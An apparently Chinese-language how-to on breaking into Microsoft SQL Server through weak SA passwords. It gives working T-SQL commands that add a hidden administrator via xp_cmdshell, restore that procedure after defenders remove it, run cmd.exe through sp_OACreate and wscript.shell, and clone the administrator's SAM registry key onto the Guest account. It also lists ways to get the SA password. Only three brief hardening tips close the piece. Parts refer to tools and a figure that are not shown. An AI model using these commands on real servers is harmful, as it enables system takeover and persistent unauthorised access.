Microsoft SQLServer是一個c/s模式的強大的關係型資料庫
管理系統,應用領域十分廣泛,從網站後台資料庫到一些MIS(管理資訊系統)到處都可以看到它的身影。我們都知道,在
網路中Microsoft SQLServer的入侵最常見的就是利用SA弱口令入侵了,而核心內容就是利用Microsoft SQLServer中的
儲存過程獲得系統管理員許可權,那到底什麼是預存程序?為什麼利用它可以獲得系統管理員許可權?
預存程序是儲存在SQLServer中的預先寫好的SQL語句集合,它分為三類:系統提供的預存程序,使用者定義的預存程序和擴充預存程序。
系統提供的預存程序是在安裝SQLServer時建立的預存程序,名字以"sp_"開頭。
使用者定義的預存程序是用SQLServer的使用者編寫的預存程序。
擴充預存程序則是對動態連結程式庫(DLL)函數的調用,主要是用於用戶端與伺服器端或用戶端之間進行通訊的,與一般動態連結程式庫不同的是它們直接運行在SQLServer分配的記憶體位址內,其中危險性最高的擴充預存程序就是xp_cmdshell了,它可以執行作業系統的任何指令。
SA是Microsoft SQLServer的管理員帳號,擁有最高許可權,它可以執行擴充預存程序,並獲得傳回值,比如執行:
exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd shell 'net localgroup administrators test /add'
這樣對方的系統就被添加了一個使用者名稱為test,密碼為12345,有管理員權限的使用者,現在你應該明白為什麼得到SA密碼,就可以得到系統的最高許可權了吧。下面就詳細的講一下Microsoft SQLServer中利用SA弱口令的攻擊與防範。
通常當我們掃描到一台有Microsoft SQLServer SA弱口令的機器,都會用一些專門的攻擊工具,
這三款軟體相對來講SQL綜合利用工具的功能更強些,因為它可以利用漏洞上傳檔案,這樣我們就可以上傳木馬程式,然後執行。
可是在實際操作中,情況並不象我們的那樣簡單,我們上傳木馬程式後,一般都會被對方的殺毒軟體殺掉。而且經過使用SQL事件探查器(可以通過安裝Microsoft SQLServer獲得)對SQL綜合利用工具提交的SQL語句抓取發現,要使SQL綜合利用工具上傳功能成功完成,有個前提條件就是對方Microsoft SQLServer中的預存程序xp_cmdshell沒有被刪除,x.4所示,否則無法成功執行,也就是說就算我們的木馬可以不被查殺,無法執行上傳功能也是沒有用的。
刪除xp_cmdshell的語句為:exec sp_dropextendedproc 'xp_cmdshell',同樣我們也可以使用Microsoft SQLServer中的查詢分析器串連到對方的Microsoft SQLServer,來恢複xp_cmdshell,語句為:exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll'。恢複後,我們就可以使用SQL綜合利用工具的上傳功能了,並可以執行上傳的檔案。
但如果對方把Microsoft SQLServer中的xplog70.dll檔案刪除或放到其他地方了, xp_cmdshell就無法執行我們發出的命令了。
難道就沒有其他辦法了?當然不是,在Microsoft SQLServer中有一系列與OLE相關的預存程序,這一系列的預存程序同Xp_cmdshell以及讀取註冊表系列的預存程序一樣危險,但是其使用方法不象那些預存程序在網路上和書上介紹的那樣多,所以被刪除的可能性就小一些。這系列的預存程序有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
使用查詢分析器串連到對方的Microsoft SQLServer,在查詢分析器中執行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 12345 /add'-- 再執行:DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
就可以在對方的系統添加一個使用者名稱為test,密碼為12345,有管理員權限的使用者。
如果對方把Xp_cmdshell、SP_OACREATE等可執行系統命令的預存程序,以及與它們相對應的動態串連庫檔案刪除了,我們還有一個辦法,就是使用可以讀取和修改註冊表的預存程序來複製對方系統的管理使用者。在查詢分析器裡運行下面的語句:
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F',
可以得到對方系統administrator的加密密碼,然後複製
然後再執行:
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5 ','F','reg_binary',0x(上面複製的那串字元),
如果對方有遠程終端服務,那我們就可以用Guest使用者登陸,密碼為空白,而且Guest的案頭與administrator的完全一樣。
有很多種方法得到Microsoft SQLServer SA的密碼,比如通過Sniffer到SA的加密密碼,然後通過密碼對照表(網上可以找到),得到SA的純文字密碼,再比如通過SQL注入得到SA密碼或者使用sp_password(修改資料庫使用者密碼的預存程序)修改得到SA密碼,還有可以掛密碼字典進行暴力破解。一旦被SA密碼被入侵者得到,會對伺服器的安全帶來很大隱患,所以我們整理了一個解決方案提供給大家:
1.在確定不需要的情況下,刪除xp_cmdshell,xp_dirtree,xp_regread,xp_regdeletekey,xp_regdeletevalue,xp_regwrite,sp_oacreate,sp_oadestroy,sp_oagetErrorInfo,sp_oagetProperty,sp_oamethod,sp_oasetProperty,sp_oastop這些預存程序,移走相關的動態串連庫檔案,在需要的時候覆制到原來的位置就可以了。
2.應用程式和網站在與背景Microsoft SQLServer資料庫連接時不要用SA等高許可權的使用者串連。
3.給SA等高許可權的使用者起一個健壯的密碼。